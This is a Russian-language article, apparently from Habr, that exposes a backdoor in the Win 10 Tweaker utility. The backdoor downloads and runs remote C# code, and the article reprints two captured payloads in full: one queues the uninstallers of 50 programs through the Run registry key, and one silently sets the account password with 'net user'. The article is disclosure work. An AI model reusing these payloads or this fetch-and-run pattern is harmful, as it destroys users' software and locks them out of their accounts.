Бэкдор в Win 10 Tweaker, или современные методы борьбы с пиратством

d747e4a9d718051a092b2960eae8f22b.png

Для неподготовленных юзеров, которые сталкиваются с Windows, настройки ОС иногда становятся настоящим темным лесом. Эту достаточно узкую нишу охватывают разработчики всевозможных твикеров, один из который в своих подходах к защите своей программы пошел самым радикальным способом. Сегодня мы немножко препарируем один самых известных таких продуктов — Win 10 Tweaker и посмотрим, какой «сюрприз» спрятал внутри его создатель.

Решил оформить небольшой материал с доказательствами того, как с недавних пор (примерно с осени 2020 года) в Win 10 Tweaker в целях борьбы со взломом программы был интегрирован самый обычный бэкдор, в особых обстоятельствах получающий зловредный код с ресурса https://win10tweaker.com/PrivilegeUser.php? key=Universal.

Не будем обсуждать личность автора и его отношение к пользователям, а также то, что он творит на своем форуме, а поговорим о том, что нам поведал сниффер трафика Win 10 Tweaker.

  • Скачиваем с сайта последнюю версию программы. Сейчас скачивается версия 17.2, SHA-256: 06DB5801D37895C75B7D60FA5971827DA80CC275D9E78E5986A120C003021A0D;

  • Выяснилось, что, чтобы вызвать скачивания удаленного кода, надо просто создать в %LOCALAPPDATA% папку Turbo.net, а внутри — просто пустой файл System.Deps.dll;

  • Запускаем Win 10 Tweaker и принимаем правой кнопкой соглашение;

  • Хватит лишь открытия раздела «Системная информация», где можно получить сведения о характеристиках ПК;

  • Сразу с ресурса, указанного выше, через бэкдор в открытом виде скачивается и исполняется код, написанный на C#, который прописывает в реестре в раздел автозагрузки для всех пользователей ключи на удаление первых 50 установленных программ. При первом выходе/входе из учетной записи или перезагрузке эти программы запустят свои деинсталляторы.

using System;
using System.Collections.Generic;
using Microsoft.Win32;
using System.IO;
namespace N {
  class C {
    public void M() {
      string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\AppData\\Local\\Turbo.net";
      if (Directory.Exists(path)) {
        string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories);
        foreach(string file in files) {
          if (file.Contains("System.Deps.dll")) {
            List list = new List();
            using(RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall")) {
              foreach(string k in key.GetSubKeyNames()) {
                if (key.OpenSubKey(k).GetValue("UninstallString") != null) {
                  list.Add(key.OpenSubKey(k).GetValue("UninstallString").ToString());
                }
              }
            }
            for (int i = 0; i < 50; i++) {
              RegistryKey key = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
              key.SetValue(i.ToString(), list[i]);
            }
          }
        }
      }
    }
  }
}

Разберем по-быстрому код.

  • Берется путь профиля и присобачивается к нему »\\AppData\\Local\\Turbo.net»;

  • Если имеется папка Turbo.net, то помаске *.* рекурсивно ищется файл System.Deps.dll;

  • Если такой на вашу беду находится, то получаем значения ключей UninstallString в разделе HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall. В этом параметре хранится команда для деинсталляции программ. Собственно, именно эта команда запускается, когда вы удаляет в Windows любую программу, если ее деинсталлятор прописывается в системе.

  • Сохраняем полученные строки и записываем первые 50 команд на удаление в автозагрузку для всех пользователей. Отныне при первой перезагрузке запустят свои деинсталляторы те программы, у которых есть свойство UninstallString.

Сохраненная ссылка на Wayback Machine, если «чудотворным» образом ресурс будет недоступен. Кстати, тот же зловредный код расположен и на домене https://win10tweaker.ru/PrivilegeUser.php? key=Universal.

Скажите спасибо, что не в тихом режиме все удаляется, и окошки с уведомлением об удалении будут видны в любом случае.

Осенью же на этом ресурсе располагался другой код, устанавливающий пароль на учетную запись. Пароль, как нетрудно догадаться, глядя на код, был Rock5taR. То есть ресурс один, а зловредный код иногда да и меняется.

using System;
using System.Diagnostics;
using System.IO;
 
namespace N
{
    class C
    {
        public void M()
        {
           string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\AppData\\Local\\Turbo.net";
                if (Directory.Exists(path))
                {
                    string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories);
                    foreach (string file in files)
                    {
                        if (file.Contains("System.Deps.dll"))
                        {
                            Process.Start(new ProcessStartInfo
                            {
                                FileName = "cmd",
                                Arguments = "/c net user " + "\"" + Environment.UserName + "\"" + " Rock5taR",
                                WindowStyle = ProcessWindowStyle.Hidden
                            });
                        }
                    }                    
                }
        }
    }
}

Также автор заявляет о портативности программы, что на самом деле не так: чего только стоит создание неудаляемого ключа в реестре по пути HKCU\Software\Win 10 Tweaker, так как программа меняет права доступа на этот раздел.

Видео с одним из вариантов, как удалить ключ.

Остается тайной, зачем автор в борьбе с пиратами, беря за программу в том числе и плату, интегрировал туда самый обычный бэкдор. И кто знает, что еще она в себе таит… Выводы, как всегда, делать только вам.

© Habrahabr.ru